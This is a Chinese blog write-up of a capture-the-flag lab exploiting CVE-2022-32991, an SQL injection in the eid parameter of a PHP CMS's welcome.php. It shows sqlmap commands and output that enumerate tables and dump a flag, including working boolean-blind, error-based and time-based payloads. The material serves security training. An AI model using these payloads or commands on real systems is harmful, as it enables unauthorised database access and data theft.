春秋云镜 - CVE-2022-32991

文章描述了一个关于PHP7.2.20CMS的SQL注入攻击案例,通过BP抓包和sqlmap工具发现eid参数存在盲注,攻击者利用不同类型的注入(如布尔盲注、错误基和时间盲注)获取数据库表结构并提取flag数据。
摘要由CSDN通过智能技术生成

靶标介绍:
该CMS的welcome.php中存在SQL注入攻击。

访问页面,先注册,使用邮箱加密码登录。

image-20230921091101203

bp抓包,后台挂上sqlipy然后去测welcome.php,常用的语句都没成功但过一会就有了结果,注入点在eid这个参数,看payload是bool盲注。

image-20230921092246074

直接sqlmap一把梭,脱裤。

sqlmap -r sql.txt --dbs --batch

image-20230921091623444

剩下的就简单了:

root@Lockly temp/tmp » sqlmap -r sql.txt -D ctf --tables --batch
...
[09:17:02] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.2.20
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[09:17:02] [INFO] fetching tables for database: 'ctf'
[09:17:02] [WARNING] reflective value(s) found and filtering out
[09:17:02] [INFO] retrieved: 'user'
[09:17:02] [INFO] retrieved: 'options'
[09:17:02] [INFO] retrieved: 'quiz'
[09:17:03] [INFO] retrieved: 'admin'
[09:17:03] [INFO] retrieved: 'questions'
[09:17:03] [INFO] retrieved: 'history'
[09:17:03] [INFO] retrieved: 'rank'
[09:17:03] [INFO] retrieved: 'flag'
[09:17:03] [INFO] retrieved: 'answer'
Database: ctf
[9 tables]
+-----------+
| admin     |
| history   |
| options   |
| rank      |
| user      |
| answer    |
| flag      |
| questions |
| quiz      |
+-----------+

root@Lockly temp/tmp » sqlmap -r sql.txt -D ctf -T flag --columns --batch
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.7.9#stable}
|_ -| . [)]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 09:18:02 /2023-09-21/

[09:18:02] [INFO] parsing HTTP request from 'sql.txt'
[09:18:03] [INFO] resuming back-end DBMS 'mysql' 
[09:18:03] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: eid (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: q=quiz&step=2&eid=-8440' OR 5703=5703#&n=1&t=34

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: q=quiz&step=2&eid=60377db362694' OR (SELECT 3817 FROM(SELECT COUNT(*),CONCAT(0x7176627871,(SELECT (ELT(3817=3817,1))),0x71706a7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- trpQ&n=1&t=34

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: q=quiz&step=2&eid=60377db362694' AND (SELECT 1411 FROM (SELECT(SLEEP(5)))hVOO)-- gdHD&n=1&t=34
---
[09:18:03] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.2.20
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[09:18:03] [INFO] fetching columns for table 'flag' in database 'ctf'
[09:18:03] [WARNING] reflective value(s) found and filtering out
[09:18:03] [INFO] retrieved: 'flag'
[09:18:04] [INFO] retrieved: 'varchar(1024)'
Database: ctf
Table: flag
[1 column]
+--------+---------------+
| Column | Type          |
+--------+---------------+
| flag   | varchar(1024) |
+--------+---------------+

[09:18:04] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/eci-2zei2boyfnmt1xivgitc.cloudeci1.ichunqiu.com'

[*] ending @ 09:18:04 /2023-09-21/

root@Lockly temp/tmp » sqlmap -r sql.txt -D ctf -T flag -C flag --dump --batch
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.7.9#stable}
|_ -| . [.]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 09:18:48 /2023-09-21/

[09:18:48] [INFO] parsing HTTP request from 'sql.txt'
[09:18:48] [INFO] resuming back-end DBMS 'mysql' 
[09:18:48] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: eid (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: q=quiz&step=2&eid=-8440' OR 5703=5703#&n=1&t=34

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: q=quiz&step=2&eid=60377db362694' OR (SELECT 3817 FROM(SELECT COUNT(*),CONCAT(0x7176627871,(SELECT (ELT(3817=3817,1))),0x71706a7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- trpQ&n=1&t=34

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: q=quiz&step=2&eid=60377db362694' AND (SELECT 1411 FROM (SELECT(SLEEP(5)))hVOO)-- gdHD&n=1&t=34
---
[09:18:48] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.2.20
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[09:18:48] [INFO] fetching entries of column(s) 'flag' for table 'flag' in database 'ctf'
[09:18:49] [WARNING] reflective value(s) found and filtering out
[09:18:49] [INFO] retrieved: 'flag{dca0ffb4-d243-4ebc-b6da-68da58943fd5}'
Database: ctf
Table: flag
[1 entry]
+--------------------------------------------+
| flag                                       |
+--------------------------------------------+
| flag{dca0ffb4-d243-4ebc-b6da-68da58943fd5} |
+--------------------------------------------+

[09:18:49] [INFO] table 'ctf.flag' dumped to CSV file '/root/.local/share/sqlmap/output/eci-2zei2boyfnmt1xivgitc.cloudeci1.ichunqiu.com/dump/ctf/flag.csv'
[09:18:49] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/eci-2zei2boyfnmt1xivgitc.cloudeci1.ichunqiu.com'

[*] ending @ 09:18:49 /2023-09-21/

root@Lockly temp/tmp » 

春秋云镜 - CVE-2022-32991

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值